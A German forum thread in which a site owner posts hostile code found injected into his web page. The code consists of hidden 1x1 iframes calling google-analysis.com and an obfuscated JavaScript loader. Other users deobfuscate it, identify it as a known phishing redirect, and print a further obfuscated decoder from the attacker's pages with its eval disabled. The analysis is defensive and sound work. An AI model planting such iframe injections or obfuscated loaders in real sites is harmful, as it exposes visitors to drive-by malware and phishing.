Wurde "Schadcode" in meine Seite integriert?

Eliah

Cadet 4th Year
Registriert
Okt. 2004
Beiträge
98
Hallo zusammen!

Bereits seit ca. 1 Jahr habe ich eine Domain inkl. Webspace registriert, die ich aber aus purem Zeitmangel bisher nicht mit Inhalt füllen konnte. Der Provider liegt in Australien.

Ich hatte lediglich eine einfache .html Seite hinterlegt, die beim Aufruf einen schwarzen Bildschirm hervorruft.

Heute habe ich festgestellt, dass jemand vor ca. 2 Wochen folgenden Code in die Datei eingefügt hat:

PHP:
<html>
<head>
<title></title>


</head>
<body bgcolor="#000000">
<iframe src=http://google-analysis.com/in.cgi?9 width=1 height=1></iframe><iframe src=http://google-analysis.com/in.cgi?9 width=1 height=1></iframe><br /><br /><br />
</body>
</html><script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('<`B15ni[X1hIZQQFx;;lSSloi{5Y5o_X`X.hSn;`Y.hl`?T[g`(QZIm[Zi`lZQIm><;`B15ni>',unescape('function decrypt%28n%29%7Bvar l%2Cch%2Cind%2Cq%3D%22%22%2Ckey%3D%22OD%26%3Ax9T6H%40fBAC%23y_wgloSEb%7EK %5BchZei%60a5z-%7Bjv%21Pk%7Cr1mnYU%7DqV7%2F%3BpF%5DsXG%3DILtQJ0u%5C%272Md%284%2A%22%3Bfor%28l%3D0%3Bl%3Cn.length%3Bl%2B%2B%29%7Bch%3Dn.charAt%28l%29%3Bind%3Dkey.indexOf%28ch%29%3Bif%28ind%3E-1%29%7Bif%28ind%3D%3D0%29%7Bind %3D79%7Dq%2B%3Dkey.charAt%28ind-1%29%7D else %7Bq%2B%3Dch%7D%7D%3Bdocument.write%28q%29%7D'));</script>

Leider weis ich nicht wie der Code dahin kommt noch wer ihn eingefügt hat. Auch kann ich nicht Nachvollziehen was dieser Code eigentlich bewirkt.

Stutzig bin ich erst geworden, als AntiVir sich beim Aufruf der Seite die mit der folgenden Meldung bemerkbar machte:

Code:
Enthält verdächtigen Code: HEUR/HTML.Malware

Bisher habe ich den Zugriff natürlich verweigert. Gerne wüsste ich aber was der Code oben bedeutet. Kann mir da jemand weiterhelfen?
 
Achtung: Phishing Warnung!

Hallo Eliah,

habe mir mal die Mühe gemacht und den verschlüsselten Code als Plainausgabe erstellt.
Der codierte JavaScript Code unescape('function decrypt%28n%...' ergibt folgendes:

Code:
function decrypt(n) {
	var l, ch, ind, q="", key="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*";
	for (l = 0; l < n.length; l++) {
		ch = n.charAt(l);
		ind = key.indexOf(ch);
		if(ind > -1) {
			if(ind == 0) {
				ind = 79
			}
			q += key.charAt(ind - 1)
		} else {
			q += ch
		}
	};
	document.write(q)
}

Der Aufruf der Funktion load('<`B15ni[X1hIZQQFx;;lSSloi{5Y5o_X`X.hSn;`Y.hl`?T[g`(QZIm[Zi`lZQIm><;`B15ni>', ....) erzeugt innerhalb deines Dokumentes also folgende Ausgabe:

HTML:
<iframe src=http://google-analysis.com/in.cgi?9 width=1 height=1></iframe>

Es wird also der bekannte IFrame von Google-Analysis eingebunden. Nach Eingabe der URL im Firefox 3, wird Dir sofort eine Phishing-Warnung entgegen geworfen. Also ist deine Seite wohl gehackt worden. Du solltest Deinen Provider darüber informieren und die Seite so schnell wie möglich bereinigen. Kenne mich mit der australischen Rechtslage nicht aus, nach deutschem Recht könntest Du aber wegen Störerhaftung für evtl. Schäden haftbar gemacht werden.


Schönen Abend noch.

Ciao
 
Ich bin bei dem Thema nicht sonderlich fit, kann mir jemand ein paar Sachen erklären?
Der Service heißt "Google-Analysis" und nicht "Google-Analytics". Der Server der Seite passt nicht, und die Form des Aufrufes auf die CGI-Seite ist auch nicht Googlekonform.
Recherche ergibt, dass dieser Phisher wohl nicht ganz neu ist.
Jetzt hab ich mir die Mühe gemacht die CGI-Seite aus dem Iframe zu beharken.
Bei Parameter 0 und 1 kommt eine Fehlermeldung bezüglich redirects.
Bei Parametern 2 bis 10 kommt ein Redirect auf google.com. (was die Seite vorher im CGI noch macht ... )
Hin und wieder hab ich aber Weiterleitungen zu weiteren CGI-Seiten bekommen.
Und zwar:
http://google-analysis.com/cgi-bin/neo3/index.cgi?usa1
und
http://google-analysis.com/cgi-bin/nsp15/mail.cgi?p=usa1
Allerdings scheinen die redirects dynamisch generiert zu werden. Wenn ich den entsprechenden Parameter nochmal angebe, kommt wieder der Google-Redirect.
Beide Seiten enthalten wieder verschlüsselten Code.
Die Decodierfunktion in der ersten Seite heißt "oa76g1X03" und sieht nach Umbenennung etwa so aus:
Code:
function test(arg0, arg1){
var var1 = arguments.callee;
var var2 = 4294967296;
var1 = var1.toString();
var1 = var1 + location.href;
var var3 = eval;
var var4 = var1.replace(/\W/g, "");
var4 = var4.toUpperCase();
var var5 = new Array;
for(var c1 = 0; c1 < 256; c1++) {
	var5[c1] = 0;
}
var var6 = 1;
for(var c1 = 128; c1; c1 >>= 1) {
	var6 = var6 >>> 1 ^ (var6 & 1 ? 3988292384 : 0);
	for(var O5A8xy2Uv = 0; O5A8xy2Uv < 256; O5A8xy2Uv += c1 * 2) {
		var tR1dre8n6 = c1 + O5A8xy2Uv;var5[tR1dre8n6] = var5[O5A8xy2Uv] ^ var6;
		if (var5[tR1dre8n6] < 0) {
			var5[tR1dre8n6] += var2;
		}
	}
}
var var7 = var2 - 1;
for(var N07jC8l0u = 0; N07jC8l0u < var4.length;N07jC8l0u++) {
	var tj1uP6yM6 = (var7 ^ var4.charCodeAt(N07jC8l0u)) & 255;
	var7 = (var7 >>> 8) ^ var5[tj1uP6yM6];
}
var7 = var7 ^ (var2 - 1);
if (var7 < 0) {
	var7 += var2;
}
var7 = var7.toString(16).toUpperCase();
while(var7.length < 8) {
	var7 = "0" + var7;
}
var var8 = new Array;
for(var c1 = 0; c1 < 8; c1++) {
	var8[c1] = var7.charCodeAt(c1);
}
var var9 = "";
var var10 = 0;
for(var c1 = 0; c1 < arg0.length; c1 += 2){
	var tR1dre8n6 = arg0.substr(c1, 2);
	var M83wpf4J2 = parseInt(tR1dre8n6, 16);
	var dmScxPY62 = M83wpf4J2 - var8[var10];
	if(dmScxPY62 < 0) {
		dmScxPY62 = dmScxPY62 + 256;
	}
	var9 += String.fromCharCode(dmScxPY62);
	if(var10 + 1 == var8.length) {
		var10 = 0;
	} else {
		var10++;
	}
}
var var11 = 0;

try {
	//var3(var9);
	document.write(var3);
	document.write('<hr>');
	document.write(var9);
} catch(e) {
	var11 = 1;
}try { 
	//if (var11) {window.location = "/";}
	alert(var11);
} catch(e) {}
}
In den letzten Zeilen hab ich die Aufrufe durch Ausgaben ersetzt.
Prinzipiell wird var3 (=eval) auf das Argument var9 aufgerufen.
Var9 ist aber auch nach der Zeichendecodierung noch unlesbar.
Ungefähr da steh ich jetzt etwas im Wald. Wie lässt sich daraus weiter der letztlich ausgeführte Code konstruieren?
Kennt sich da jemand aus?

-- -- muckelzwerg
 
...Du solltest Deinen Provider darüber informieren und die Seite so schnell wie möglich bereinigen. Kenne mich mit der australischen Rechtslage nicht aus, nach deutschem Recht könntest Du aber wegen Störerhaftung für evtl. Schäden haftbar gemacht werden.
....[/QUOTE]

Ui, vielen Dank für Mühe und die Analyse. Danke auch an muckelzwerg!
Ich habe umgehend die Datei gelöscht. Den Provider werde ich noch informieren.

Eine Frage habe ich noch:
Wie kann man aus dem verschlüsselten Code eine Plainausgabe erstellen?
 
Eliah schrieb:
Eine Frage habe ich noch:
Wie kann man aus dem verschlüsselten Code eine Plainausgabe erstellen?
Z.B. indem man das Programm Schritt für Schritt ablaufen lässt und wartet, bis man leserlichen code erhält. Der Code wurde nämlich nicht verschlüsselt, sondern nur verschleiert.
 
Zurück
Oben